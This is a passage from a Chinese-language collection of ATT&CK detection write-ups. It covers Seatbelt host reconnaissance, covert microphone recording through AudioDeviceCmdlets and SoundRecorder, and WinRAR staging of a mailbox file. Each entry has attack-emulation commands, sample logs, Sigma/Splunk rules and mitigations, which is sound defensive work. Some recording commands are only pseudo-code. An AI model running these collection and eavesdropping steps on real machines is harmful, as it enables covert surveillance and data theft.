Windows安全日志\n- **事件ID 4688**：记录`Seatbelt.exe`进程创建及命令行参数（需启用命令行审核）。\n- **事件ID 4663**：记录`Seatbelt.exe`访问敏感对象（如注册表键）。\n\n### Sysmon日志\n- **事件ID 1**：捕获`Seatbelt.exe`进程创建及命令行参数。\n- **事件ID 11**：记录Seatbelt生成的文件（如输出日志）。\n- **事件ID 13**：记录注册表操作（如查询Chrome路径）。\n- **事件ID 3**：记录可能的网络连接（若数据通过网络传输）。\n\n### PowerShell日志\n- **事件ID 4104**：若Seatbelt通过PowerShell脚本调用，记录相关脚本块。\n\n## 测试复现\n\n### 环境准备\n- **靶机**：Windows 10/11或Windows Server 2016。\n- **权限**：用户权限（管理员权限可能提升某些功能）。\n- **工具**：\n  - Seatbelt源码或预编译二进制文件（https://github.com/GhostPack/Seatbelt）。\n  - Visual Studio 2017+（编译Seatbelt）。\n  - Sysmon（用于进程和文件监控）。\n  - Wireshark（若涉及网络传输，捕获流量）。\n- **网络**：隔离网络环境，允许可能的出站流量。\n- **日志**：启用Windows安全日志、Sysmon日志和PowerShell日志。\n\n### 攻击步骤\n1. **编译Seatbelt**：\n   - 下载源码：https://github.com/GhostPack/Seatbelt。\n   - 使用Visual Studio 2017+编译，支持.NET 3.5或4.0：\n     ```bash\n     msbuild Seatbelt.sln /p:Configuration=Release\n     ```\n   - 输出路径：`bin\\Release\\Seatbelt.exe`。\n2. **运行Seatbelt**：\n   - 复制`Seatbelt.exe`到靶机（如`C:\\Users\\wardog\\Desktop\\Seatbelt.exe`）。\n   - 执行命令收集用户信息：\n     ```bash\n     C:\\Users\\wardog\\Desktop\\Seatbelt.exe -group=user\n     ```\n   - 或运行所有检查：\n     ```bash\n     C:\\Users\\wardog\\Desktop\\Seatbelt.exe -group=all -full\n     ```\n3. **验证结果**：\n   - 检查输出文件或控制台日志，确认收集的信息（如用户账户、浏览器历史）。\n   - 使用Wireshark捕获网络流量（若数据通过网络传输）。\n   - 验证Sysmon日志是否记录`Seatbelt.exe`进程和注册表操作。\n4. **清理**：\n   - 删除`Seatbelt.exe`和输出文件。\n   - 清除相关日志（测试环境）。\n\n## 测试留痕\n以下为Windows安全日志示例（事件ID 4688）：\n```yml\nEventID: 4688\nTimeCreated: 2020-11-02T04:39:11.671Z\nChannel: Security\nHostname: WORKSTATION5\nSubjectUserSid: S-1-5-21-3940915590-64593676-1414006259-500\nSubjectUserName: wardog\nSubjectDomainName: WORKSTATION5\nSubjectLogonId: 0xC61D9\nNewProcessId: 0x2f04\nNewProcessName: C:\\Users\\wardog\\Desktop\\Seatbelt.exe\nProcessCommandLine: Seatbelt.exe -group=user\nCreatorProcessId: 0x3048\nCreatorProcessName: C:\\Windows\\System32\\cmd.exe\nTokenElevationType: %%1936\nMandatoryLabel: S-1-16-12288\n```\n\n以下为Windows安全日志示例（事件ID 4663，注册表访问）：\n```yml\nEventID: 4663\nTimeCreated: 2020-11-02T04:39:11.847Z\nChannel: Security\nHostname: WORKSTATION5\nSubjectUserSid: S-1-5-21-3940915590-64593676-1414006259-500\nSubjectUserName: wardog\nSubjectDomainName: WORKSTATION5\nSubjectLogonId: 0xC61D9\nObjectServer: Security\nObjectType: Key\nObjectName: \\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\chrome.exe\nHandleId: 0x2b4\nAccessList: %%4432\nAccessMask: 0x1\nProcessId: 0x2f04\nProcessName: C:\\Users\\wardog\\Desktop\\Seatbelt.exe\n```\n\n## 检测方法/思路\n\n### Sigma规则\n基于Sigma规则，检测Seatbelt的执行行为：\n\n```yml\ntitle: Suspicious Seatbelt Execution\nid: b8c9d7e6-2f3a-4d5b-8e7c-1a2b3c4d5e6f\nstatus: experimental\ndescription: Detects execution of Seatbelt, a tool used for automated host information collection\nreferences:\n- https://attack.mitre.org/techniques/T1119\n- https://github.com/GhostPack/Seatbelt\n- https://github.com/OTRF/Security-Datasets/blob/master/datasets/atomic/windows/discovery/host/cmd_seatbelt_group_user.zip\nlogsource:\n  product: windows\n  category: process_creation\ndetection:\n  selection:\n    EventID: 4688\n    Image|endswith: '\\Seatbelt.exe'\n  condition: selection\nfalsepositives:\n- Legitimate use of Seatbelt by security teams for auditing\nlevel: high\n```\n\n### 检测思路\n1. **进程监控**：\n   - 检测`Seatbelt.exe`进程的创建，尤其是命令行参数包含`-group=user`、`-group=all`或`-full`。\n   - 监控异常父进程（如`cmd.exe`、`powershell.exe`）。\n2. **注册表监控**：\n   - 检测`Seatbelt.exe`访问敏感注册表键（如Chrome路径、凭据存储）。\n   - 使用Sysmon事件ID 13捕获注册表查询或修改。\n3. **文件监控**：\n   - 检测Seatbelt生成的文件（如输出日志，`.txt`或`.json`格式）。\n4. **网络监控**：\n   - 检测收集数据通过网络传输的行为（如上传到C2服务器）。\n5. **行为基线**：\n   - 建立组织内正常信息收集工具的使用基线，识别异常执行（如非安全团队运行Seatbelt）。\n\n### 检测建议\n- **Sysmon配置**：配置Sysmon监控`Seatbelt.exe`的进程创建（事件ID 1）、文件创建（事件ID 11）和注册表操作（事件ID 13）。\n- **命令行分析**：解析`Seatbelt.exe`的命令行参数，检测特定选项（如`-group=user`）。\n- **EDR监控**：使用EDR工具（如Microsoft Defender for Endpoint）监控Seatbelt的执行和后续行为。\n- **误报过滤**：排除安全团队或管理员的合法Seatbelt使用，结合上下文（如用户身份、时间）降低误报率。\n\n## 缓解措施\n1. **应用白名单**：\n   - 使用AppLocker或WDAC限制`Seatbelt.exe`的执行，仅允许受信任用户或进程。\n2. **文件监控**：\n   - 部署文件完整性监控（FIM）工具，检测异常输出文件创建。\n3. **注册表保护**：\n   - 限制非管理员用户访问敏感注册表键（如凭据存储）。\n4. **网络限制**：\n   - 监控并限制收集数据通过网络传输的行为，阻止未经授权的数据泄露。\n5. **用户培训**：\n   - 教育用户识别可疑工具执行行为，避免运行未知可执行文件。\n\n## 参考推荐\n- MITRE ATT&CK T1119  \n  https://attack.mitre.org/techniques/T1119  \n- Seatbelt GitHub  \n  https://github.com/GhostPack/Seatbelt  \n- 内存加载Seatbelt的实现  \n  https://anquan.baidu.com/article/1153  \n- Security-Datasets: Seatbelt Dataset  \n  https://github.com/OTRF/Security-Datasets/blob/master/datasets/atomic/windows/discovery/host/cmd_seatbelt_group_user.zip"
  },
  {
    "path": "Windows/11收集/T1123-win-使用AudioDeviceCmdlets进行音频收集.md",
    "content": "# T1123-Win-使用AudioDeviceCmdlets音频收集\n\n## 描述\n\n攻击者可能利用计算机的外围设备（如麦克风）或应用程序接口（如PowerShell模块）捕获音频记录，以窃听敏感对话或收集情报。恶意软件或脚本可通过操作系统提供的API（如Windows Audio Device API）或第三方模块（如AudioDeviceCmdlets）与麦克风交互，捕获音频数据。捕获的音频可能被保存为文件（如WAV、MP3）并通过网络泄露，供攻击者后续分析或利用。\n\n## 测试案例\n\n### 用例\n- **音频窃听**：攻击者使用PowerShell模块`AudioDeviceCmdlets`捕获麦克风音频，记录环境中的敏感对话。\n- **自动化录音**：脚本定期调用`AudioDeviceCmdlets`模块，保存音频文件并通过C2通道传输。\n- **实时监控**：通过实时流式传输将音频数据发送到远程服务器。\n\n### 示例场景\n- 攻击者通过PowerShell安装并使用`AudioDeviceCmdlets`模块，启动录音并将音频保存为文件。\n- 恶意脚本结合`AudioDeviceCmdlets`命令，控制录音时长并指定输出路径。\n\n### 测试1：使用AudioDeviceCmdlets模块\n通过PowerShell调用`AudioDeviceCmdlets`模块捕获音频：\n```yml\npowershell.exe -Command WindowsAudioDevice-Powershell-Cmdlet\n```\n或使用具体命令：\n```powershell\nInstall-Module -Name AudioDeviceCmdlets\nGet-AudioDevice -List\nSet-AudioDevice -Index 1  # 选择麦克风设备\n# 需额外脚本实现录音功能\n```\n\n### 所需权限\n- 用户权限（运行PowerShell和访问麦克风）。\n- 管理员权限（安装PowerShell模块，若未预安装）。\n\n### 操作系统\n- Windows 7、Windows 8、Windows 8.1、Windows 10、Windows 11、Windows Server 2008、2012、2016、2019、2022。\n\n## 检测日志\n\n### Windows安全日志\n- **事件ID 4688**：记录PowerShell进程（`powershell.exe`）创建及命令行参数（需启用命令行审核）。\n\n### Sysmon日志\n- **事件ID 1**：捕获`powershell.exe`进程创建及命令行参数（如包含`AudioDeviceCmdlets`）。\n- **事件ID 11**：记录音频文件（如`.wav`、`.mp3`）的创建事件。\n- **事件ID 3**：记录可能的网络连接（若音频文件被传输）。\n\n### PowerShell日志\n- **事件ID 4104**：捕获PowerShell脚本块执行，记录`AudioDeviceCmdlets`模块的调用。\n\n### 文件系统日志\n- 监控新创建的音频文件及其路径（如`.wav`文件）。\n\n## 测试复现\n\n### 环境准备\n- **靶机**：Windows 10/11。\n- **权限**：用户权限（安装模块可能需要管理员权限）。\n- **工具**：\n  - PowerShell（系统自带）。\n  - AudioDeviceCmdlets模块（需安装，参考https://github.com/frgnca/AudioDeviceCmdlets）。\n  - Sysmon（用于进程和文件监控）。\n  - Wireshark（若涉及网络传输，捕获流量）。\n  - 测试麦克风（确保设备可用）。\n- **网络**：隔离网络环境，允许PowerShell模块下载和可能的出站流量。\n- **日志**：启用Windows安全日志、Sysmon日志和PowerShell日志。\n\n### 攻击步骤\n1. **安装AudioDeviceCmdlets模块**：\n   ```powershell\n   PS C:\\> Install-Module -Name AudioDeviceCmdlets -Force\n   ```\n2. **列出音频设备**：\n   ```powershell\n   PS C:\\> Get-AudioDevice -List\n   ```\n   - 输出示例（视环境而定）：\n     ```\n     Index: 1\n     Name: Microphone (Realtek Audio)\n     Type: Recording\n     ```\n3. **选择麦克风设备**：\n   ```powershell\n   PS C:\\> Set-AudioDevice -Index 1\n   ```\n4. **模拟录音**（需额外脚本）：\n   - AudioDeviceCmdlets本身不直接支持录音，需结合其他脚本或模块（如NAudio）：\n     ```powershell\n     # 示例伪代码，需第三方库支持\n     Import-Module AudioDeviceCmdlets\n     Start-AudioRecording -OutputFile \"C:\\Users\\liyang\\output.wav\" -Duration 30\n     ```\n5. **验证结果**：\n   - 检查音频文件（如`C:\\Users\\liyang\\output.wav`）是否生成。\n   - 使用Wireshark捕获网络流量（若文件通过网络传输）。\n   - 验证Sysmon和PowerShell日志是否记录模块调用和文件创建。\n6. **清理**：\n   - 删除音频文件（如`Remove-Item C:\\Users\\liyang\\output.wav`）。\n   - 卸载模块（若需要）：\n     ```powershell\n     Uninstall-Module -Name AudioDeviceCmdlets\n     ```\n\n### 注意事项\n- 虚拟机环境可能因缺少物理麦克风而无法捕获音频，建议在物理机或配置虚拟音频设备的环境中测试。\n- `AudioDeviceCmdlets`需结合其他录音逻辑实现完整功能，测试时可参考GitHub文档。\n\n## 测试留痕\n以下为Windows安全日志示例（事件ID 4688）：\n```yml\n已创建新进程。\n\n创建者主题:\n 安全 ID: DESKTOP-PT656L6\\liyang\n 帐户名: liyang\n 帐户域: DESKTOP-PT656L6\n 登录 ID: 0x47126\n\n目标主题:\n 安全 ID: NULL SID\n 帐户名: -\n 帐户域: -\n 登录 ID: 0x0\n\n进程信息:\n 新进程 ID: 0x1b3c\n 新进程名称: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\n 令牌提升类型: %%1938\n 强制性标签: Mandatory Label\\Medium Mandatory Level\n 创建者进程 ID: 0x1410\n 创建er进程名称: C:\\Windows\\System32\\cmd.exe\n 进程命令行: powershell.exe -Command Get-AudioDevice -List\n```\n\n以下为PowerShell日志示例（事件ID 4104）：\n```yml\nEventID: 4104\nCreateTime: 2025-06-08 03:15:23\nScriptBlockText: Install-Module -Name AudioDeviceCmdlets -Force\nScriptBlockId: {a1b2c3d4-e5f6-4a7b-8c9d-0e1f2a3b4c5d}\nPath: Unknown\n```\n\n## 检测方法/思路\n\n### Splunk规则\n检测`AudioDeviceCmdlets`模块或PowerShell录音活动的Splunk查询：\n\n```yml\nindex=windows SourceName=\"Microsoft-Windows-PowerShell\" \"*AudioDeviceCmdlets*\"\n| OR \nindex=windows source=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" \n(EventCode=1 Image=\"*\\\\powershell.exe\" CommandLine=\"*AudioDeviceCmdlets*\") \n| OR \nindex=windows source=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" \n(EventCode=11 TargetFilename=\"*.wav\" OR TargetFilename=\"*.mp3\")\n```\n\n### 检测思路\n1. **进程监控**：\n   - 检测`powershell.exe`进程的创建，尤其是命令行包含`AudioDeviceCmdlets`或相关cmdlet（如`Get-AudioDevice`、`Set-AudioDevice`）。\n   - 监控异常父进程（如`cmd.exe`、`explorer.exe`）调用PowerShell。\n2. **文件监控**：\n   - 检测新创建的音频文件（如`.wav`、`.mp3`），尤其是位于用户目录或临时文件夹。\n3. **PowerShell日志分析**：\n   - 检查PowerShell事件ID 4104，捕获`AudioDeviceCmdlets`模块的加载或执行。\n4. **网络监控**：\n   - 检测音频文件通过网络传输的行为（如上传到C2服务器）。\n5. **行为基线**：\n   - 建立组织内PowerShell和录音模块的正常使用基线，识别异常行为（如夜间运行、非典型用户）。\n\n### 检测建议\n- **Sysmon配置**：配置Sysmon监控`powershell.exe`的进程创建（事件ID 1）和音频文件创建（事件ID 11）。\n- **PowerShell日志**：启用PowerShell模块、脚本块和命令行日志，捕获`AudioDeviceCmdlets`相关活动。\n- **EDR监控**：使用EDR工具（如Microsoft Defender for Endpoint）监控麦克风访问和音频文件创建。\n- **误报过滤**：排除合法录音场景（如视频会议、语音备忘录），结合上下文（如用户身份、时间）降低误报率。\n\n## 缓解措施\n1. **设备访问控制**：\n   - 限制普通用户对麦克风设备的访问，仅允许受信任应用程序。\n   - 使用组策略禁用非必要录音功能。\n2. **PowerShell限制**：\n   - 配置PowerShell执行策略（如`Restricted`或`Constrained Language Mode`），限制未签名模块的加载。\n   - 使用AppLocker或WDAC限制`powershell.exe`的执行。\n3. **文件监控**：\n   - 部署文件完整性监控（FIM）工具，检测异常音频文件创建。\n4. **网络限制**：\n   - 监控并限制音频文件通过网络传输的行为，阻止未经授权的数据泄露。\n5. **用户培训**：\n   - 教育用户识别可疑PowerShell脚本或录音行为，避免运行未知命令。\n\n## 参考推荐\n- MITRE ATT&CK T1123  \n  https://attack.mitre.org/techniques/T1123  \n- Atomic-red-team T1123  \n  https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1123/T1123.md  \n- AudioDeviceCmdlets  \n  https://github.com/frgnca/AudioDeviceCmdlets\n"
  },
  {
    "path": "Windows/11收集/T1123-win-使用soundrec进行音频收集.md",
    "content": "# T1123-Win-使用soundrec音频收集\n\n## 描述\n\n攻击者可能利用计算机的外围设备（如麦克风）或应用程序（如语音呼叫服务、录音软件）捕获音频记录，以窃听敏感对话或收集情报。恶意软件或脚本可通过操作系统提供的API（如Windows Audio Device API）或应用程序接口与麦克风交互，捕获音频数据。捕获的音频可能被保存为文件（如WAV、MP3）并通过网络泄露，供攻击者后续分析或利用。\n\n## 测试案例\n\n### 用例\n- **音频窃听**：恶意软件通过调用`soundrec.exe`或其他录音工具，捕获环境中的敏感对话。\n- **自动化录音**：脚本定期调用录音API，保存音频文件并通过C2通道传输。\n- **实时监控**：攻击者通过实时流式传输将音频数据发送到远程服务器。\n\n### 示例场景\n- 攻击者使用Windows内置的`soundrec.exe`（Windows录音机）或PowerShell cmdlet（如`WindowsAudioDevice-Powershell-Cmdlet`）启动录音，捕获用户对话并保存为文件。\n- 恶意脚本通过`/DURATION`和`/FILE`参数控制录音时长和输出文件。\n\n### 路径\n- Windows录音机（Sound Recorder）：\n  ```yml\n  - C:\\Windows\\System32\\SoundRecorder.exe\n  - shell:appsFolder\\Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe!App\n  ```\n\n### 所需权限\n- 用户权限（访问麦克风和文件系统）。\n\n### 操作系统\n- Windows 7、Windows 8、Windows 8.1、Windows 10、Windows 11、Windows Server 2008、2012、2016、2019、2022。\n\n## 检测日志\n\n### Windows安全日志\n- **事件ID 4688**：记录`SoundRecorder.exe`或相关进程的创建及命令行参数（需启用命令行审核）。\n\n### Sysmon日志\n- **事件ID 1**：捕获`SoundRecorder.exe`或PowerShell进程的创建及命令行参数。\n- **事件ID 11**：记录音频文件（如`.wav`、`.mp3`）的创建事件。\n- **事件ID 3**：记录可能的网络连接（若音频文件被传输）。\n\n### PowerShell日志\n- **事件ID 4104**：捕获与录音相关的PowerShell cmdlet执行（如`WindowsAudioDevice-Powershell-Cmdlet`）。\n\n### 文件系统日志\n- 监控新创建的音频文件（如`.wav`、`.mp3`）及其路径。\n\n## 测试复现\n\n### 环境准备\n- **靶机**：Windows 10/11。\n- **权限**：用户权限。\n- **工具**：\n  - Windows录音机（`SoundRecorder.exe`，系统自带）。\n  - PowerShell（用于调用录音API）。\n  - Sysmon（用于进程和文件监控）。\n  - Wireshark（若涉及网络传输，捕获流量）。\n  - 测试麦克风（确保设备可用）。\n- **网络**：隔离网络环境，若测试文件传输，需允许出站流量。\n- **日志**：启用Windows安全日志、Sysmon日志和PowerShell日志。\n\n### 攻击步骤\n1. **启动录音**：\n   - 使用Windows录音机：\n     ```bash\n     C:\\Users\\liyang>explorer.exe shell:appsFolder\\Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe!App\n     ```\n   - 或使用PowerShell调用录音API：\n     ```powershell\n     $audioDevice = Get-CimInstance -Namespace root/cimv2 -ClassName Win32_SoundDevice\n     Write-Output \"Capturing audio using $audioDevice\"\n     # 模拟录音逻辑，需第三方模块支持\n     ```\n2. **保存音频文件**：\n   - 使用命令行参数指定输出文件和录音时长：\n     ```bash\n     SoundRecorder.exe /FILE C:\\Users\\liyang\\output.wav /DURATION 0000:00:30\n     ```\n     - 参数说明：`/FILE`指定输出文件，`/DURATION`设置录音时长（格式为`hhhh:mm:ss`）。\n3. **验证结果**：\n   - 检查`C:\\Users\\liyang\\output.wav`是否生成。\n   - 使用Wireshark捕获网络流量（若文件通过网络传输）。\n   - 验证Sysmon日志是否记录进程和文件创建事件。\n4. **清理**：\n   - 删除音频文件（如`del C:\\Users\\liyang\\output.wav`）。\n   - 终止相关进程。\n\n## 测试留痕\n以下为Windows安全日志示例（事件ID 4688）：\n```yml\n已创建新进程。\n\n创建者主题:\n 安全 ID: DESKTOP-PT656L6\\liyang\n 帐户名: liyang\n 帐户域: DESKTOP-PT656L6\n 登录 ID: 0x47126\n\n进程信息:\n 新进程 ID: 0x1a2c\n 新进程名称: C:\\Windows\\System32\\SoundRecorder.exe\n 令牌提升类型: %%1938\n 强制性标签: Mandatory Label\\Medium Mandatory Level\n 创建者进程 ID: 0x1410\n 创建者进程名称: C:\\Windows\\System32\\explorer.exe\n 进程命令行: SoundRecorder.exe /FILE C:\\Users\\liyang\\output.wav /DURATION 0000:00:30\n```\n\n以下为Sysmon日志示例（事件ID 11）：\n```yml\nEventID: 11\nUtcTime: 2025-06-08 03:10:45.123\nProcessGuid: {12345678-9abc-def0-1234-56789abcdef0}\nProcessId: 6704\nImage: C:\\Windows\\System32\\SoundRecorder.exe\nTargetFilename: C:\\Users\\liyang\\output.wav\nCreationUtcTime: 2025-06-08 03:10:45.123\n```\n\n## 检测方法/思路\n\n### Splunk规则\n检测`SoundRecorder.exe`或PowerShell录音活动的Splunk查询：\n\n```yml\nindex=windows SourceName=\"Microsoft-Windows-PowerShell\" \"*WindowsAudioDevice-Powershell-Cmdlet*\" \n| OR \nindex=windows source=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" \n(EventCode=1 Image=\"*\\\\explorer.exe\" CommandLine=\"*WindowsSoundRecorder*\") \nOR \n(EventCode=1 Image=\"*\\\\SoundRecorder.exe\") \n| OR \nindex=windows source=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" \n(EventCode=1 CommandLine=\"* /DURATION *\") \nOR \n(EventCode=1 CommandLine=\"* /FILE *\")\n```\n\n### 检测思路\n1. **进程监控**：\n   - 检测`SoundRecorder.exe`或PowerShell进程的创建，尤其是命令行包含`/FILE`或`/DURATION`参数。\n   - 监控异常父进程（如`cmd.exe`、`powershell.exe`）调用录音工具。\n2. **文件监控**：\n   - 检测新创建的音频文件（如`.wav`、`.mp3`），尤其是位于用户目录或临时文件夹。\n3. **API调用监控**：\n   - 检测与麦克风交互的API调用（如`WindowsAudioDevice-Powershell-Cmdlet`）。\n   - 使用EDR工具监控异常进程访问音频设备。\n4. **网络监控**：\n   - 检测音频文件通过网络传输的行为（如上传到C2服务器）。\n5. **行为基线**：\n   - 建立组织内录音工具的正常使用基线，识别异常录音行为（如夜间运行、非典型用户）。\n\n### 检测建议\n- **Sysmon配置**：配置Sysmon监控`SoundRecorder.exe`的进程创建（事件ID 1）和文件创建（事件ID 11）。\n- **PowerShell日志**：启用PowerShell模块和脚本块日志，检测录音相关的cmdlet调用。\n- **EDR监控**：使用EDR工具（如Microsoft Defender for Endpoint）监控麦克风访问和音频文件创建。\n- **误报过滤**：排除合法录音场景（如视频会议、语音备忘录），结合上下文（如用户身份、时间）降低误报率。\n\n## 缓解措施\n1. **设备访问控制**：\n   - 限制普通用户对麦克风设备的访问，仅允许受信任应用程序。\n   - 使用组策略禁用非必要录音功能。\n2. **应用白名单**：\n   - 使用AppLocker或WDAC限制`SoundRecorder.exe`的执行，仅允许受信任用户或进程。\n3. **文件监控**：\n   - 部署文件完整性监控（FIM）工具，检测异常音频文件创建。\n4. **网络限制**：\n   - 监控并限制音频文件通过网络传输的行为，阻止未经授权的数据泄露。\n5. **用户培训**：\n   - 教育用户识别可疑录音行为，避免运行未知脚本或应用程序。\n\n## 参考推荐\n- MITRE ATT&CK T1123  \n  https://attack.mitre.org/techniques/T1123"
  },
  {
    "path": "Windows/11收集/T1560.001-Win-通过Winrar压缩收集数据.md",
    "content": "# T1560.001-Win-通过WinRAR压缩数据\n\n## 描述\n\n攻击者可能使用第三方工具（如WinRAR、7-Zip、WinZip）压缩或加密收集的数据，以便在数据泄露或后续传输中隐藏内容、减小文件体积或规避检测。WinRAR是一款常见的压缩工具，支持命令行操作，可通过脚本或手动方式执行压缩和加密任务。许多系统可能预装压缩工具（如Windows的zip或Linux/macOS的tar），但WinRAR因其强大的加密功能和普及性常被攻击者利用。\n\n## 测试案例\n\n### 用例\n- **数据压缩**：攻击者使用WinRAR压缩收集的敏感文件（如日志、数据库备份）以便传输。\n- **加密压缩**：通过WinRAR的密码保护功能加密压缩文件，增加防御者解密难度。\n- **自动化脚本**：结合恶意脚本，自动化执行WinRAR压缩任务。\n\n### 示例场景\n- 攻击者通过WinRAR命令行将窃取的文件（如`qax.pst`）压缩为`qax.rar`，并通过C2通道传输。\n- 使用密码加密压缩文件，防止未经授权访问。\n\n### 路径\nWinRAR通常安装在：\n```yml\n- C:\\Program Files\\WinRAR\\WinRAR.exe\n- C:\\Program Files (x86)\\WinRAR\\WinRAR.exe\n```\n\n### 所需权限\n- 用户权限（执行WinRAR和访问目标文件）。\n\n### 操作系统\n- Windows 7、Windows 8、Windows 8.1、Windows 10、Windows 11、Windows Server 2008、2012、2016、2019、2022。\n\n## 检测日志\n\n### Windows安全日志\n- **事件ID 4688**：记录`WinRAR.exe`进程创建及命令行参数（需启用命令行审核）。\n\n### Sysmon日志\n- **事件ID 1**：捕获`WinRAR.exe`进程创建及命令行参数。\n- **事件ID 11**：记录压缩文件（如`qax.rar`）的创建事件。\n\n### 文件系统日志\n- 监控新创建的压缩文件（如`.rar`文件）及其路径。\n\n## 测试复现\n\n### 环境准备\n- **靶机**：Windows 10/11或Windows Server 2016。\n- **权限**：用户权限。\n- **工具**：\n  - WinRAR（需安装，路径如`C:\\Program Files\\WinRAR\\WinRAR.exe`）。\n  - Sysmon（用于进程和文件监控）。\n  - 测试文件（如`qax.pst`）。\n- **环境配置**：\n  - 确保WinRAR命令行可执行，添加WinRAR安装路径（如`C:\\Program Files\\WinRAR`）到系统环境变量`PATH`。\n  - 若提示“winrar不是内部或外部命令”，检查环境变量或使用完整路径。\n- **日志**：启用Windows安全日志和Sysmon日志。\n\n### 攻击步骤\n1. **创建测试文件**：\n   - 准备一个测试文件（如`C:\\Users\\Administrator\\qax.pst`）。\n2. **执行压缩命令**：\n   ```bash\n   C:\\Users\\Administrator>winrar a C:\\Users\\Administrator\\qax.rar C:\\Users\\Administrator\\qax.pst\n   ```\n   - 命令解释：`a`表示添加文件到压缩包，生成`qax.rar`。\n   - 可选：添加密码保护：\n     ```bash\n     winrar a -p[password] C:\\Users\\Administrator\\qax.rar C:\\Users\\Administrator\\qax.pst\n     ```\n3. **验证结果**：\n   - 检查`C:\\Users\\Administrator\\qax.rar`是否生成。\n   - 验证Sysmon日志是否记录`WinRAR.exe`进程和文件创建事件。\n4. **清理**：\n   - 删除测试压缩文件（如`del C:\\Users\\Administrator\\qax.rar`）。\n\n## 测试留痕\n以下为Windows安全日志示例（事件ID 4688）：\n```yml\n已创建新进程。\n\n创建者主题:\n 安全 ID: QAX\\Administrator\n 帐户名: Administrator\n 帐户域: QAX\n 登录 ID: 0x7169C\n\n目标主题:\n 安全 ID: NULL SID\n 帐户名: -\n 帐户域: -\n 登录 ID: 0x0\n\n进程信息:\n 新进程 ID: 0xe20\n 新进程名称: C:\\Program Files\\WinRAR\\WinRAR.exe\n 令牌提升类型: %%1936\n 强制性标签: Mandatory Label\\High Mandatory Level\n 创建者进程 ID: 0x378\n 创建者进程名称: C:\\Windows\\System32\\cmd.exe\n 进程命令行: winrar a C:\\Users\\Administrator\\qax.rar C:\\Users\\Administrator\\qax.pst\n```\n\n以下为Sysmon日志示例（事件ID 11）：\n```yml\nEventID: 11\nUtcTime: 2025-06-08 12:58:45.123\nProcessGuid: {12345678-9abc-def0-1234-56789abcdef0}\nProcessId: 3648\nImage: C:\\Program Files\\WinRAR\\WinRAR.exe\nTargetFilename: C:\\Users\\Administrator\\qax.rar\nCreationUtcTime: 2025-06-08 12:58:45.123\n```\n\n## 检测方法/思路\n\n### Sigma规则\n基于Sigma规则，检测WinRAR的异常压缩行为：\n\n```yml\ntitle: Suspicious WinRAR Compression Activity\nid: e4b9c8d7-3f2a-4e5b-9d6c-2a3b4c5d6e7f\ndescription: Detects potential malicious use of WinRAR to compress collected data on Windows systems\nauthor: 12306Bro\nstatus: experimental\nreferences:\n- https://attack.mitre.org/techniques/T1560/001\n- https://blog.csdn.net/findmyself_for_world/article/details/39292181\n- https://www.cnblogs.com/xzlive/p/10508940.html\nlogsource:\n  product: windows\n  category: process_creation\ndetection:\n  selection:\n    EventID: 4688\n    Image|endswith: '\\WinRAR.exe'\n    CommandLine|contains: ' a '\n  condition: selection\nfalsepositives:\n- Legitimate use of WinRAR for file compression by users or administrators\n- Automated backup scripts using WinRAR\nlevel: medium\n```\n\n### 检测思路\n1. **进程监控**：\n   - 检测`WinRAR.exe`进程的创建，尤其是命令行参数包含`a`（添加文件到压缩包）。\n   - 监控异常父进程（如`cmd.exe`、`powershell.exe`）调用WinRAR。\n2. **文件监控**：\n   - 检测新创建的`.rar`文件，尤其是位于敏感目录（如用户目录、临时文件夹）。\n   - 检查压缩文件是否包含敏感文件类型（如`.pst`、`.docx`、`.xlsx`）。\n3. **命令行分析**：\n   - 解析`WinRAR.exe`的命令行参数，检测是否使用密码保护（`-p`参数）。\n4. **行为基线**：\n   - 建立组织内WinRAR的正常使用基线，识别异常压缩行为（如夜间执行、非典型用户）。\n5. **关联分析**：\n   - 结合Sysmon事件ID 1（进程创建）和11（文件创建），关联WinRAR的压缩行为与后续网络活动（如数据泄露）。\n\n### 检测建议\n- **告警规则**：基于Sigma规则，配置SIEM系统（如Splunk、Elastic）检测`WinRAR.exe`的异常命令行参数和文件创建。\n- **文件监控**：使用EDR工具（如Microsoft Defender for Endpoint）监控`.rar`文件的创建和访问。\n- **环境变量检查**：检测WinRAR路径是否被添加到环境变量，防止命令行调用被忽略。\n- **误报过滤**：排除合法备份或用户压缩行为，结合上下文（如用户身份、时间）降低误报率。\n\n## 缓解措施\n1. **限制工具使用**：\n   - 使用应用白名单工具（如AppLocker）限制WinRAR的执行，仅允许受信任用户或进程。\n2. **文件监控**：\n   - 部署文件完整性监控（FIM）工具，检测敏感目录中的`.rar`文件创建。\n3. **权限管理**：\n   - 限制普通用户对WinRAR的执行权限，防止未经授权的压缩操作。\n4. **网络限制**：\n   - 监控压缩文件通过网络传输的行为，阻止未经授权的数据泄露。\n5. **用户培训**：\n   - 教育用户识别异常压缩行为，避免运行可疑脚本或命令。\n\n## 参考推荐\n- MITRE ATT&CK T1560.001  \n  https://attack.mitre.org/techniques/T1560/001  \n- Windows命令行中使用WinRAR  \n  https://blog.csdn.net/findmyself_for_world/article/details/39292181  \n- 利用WinRAR命令行压缩文件或文件夹  \n  https://www.cnblogs.com/xzlive/p/10508940.html\n"
  },
  {
    "path": "Windows/12命令与控制/T1008-备用通信通道.md",
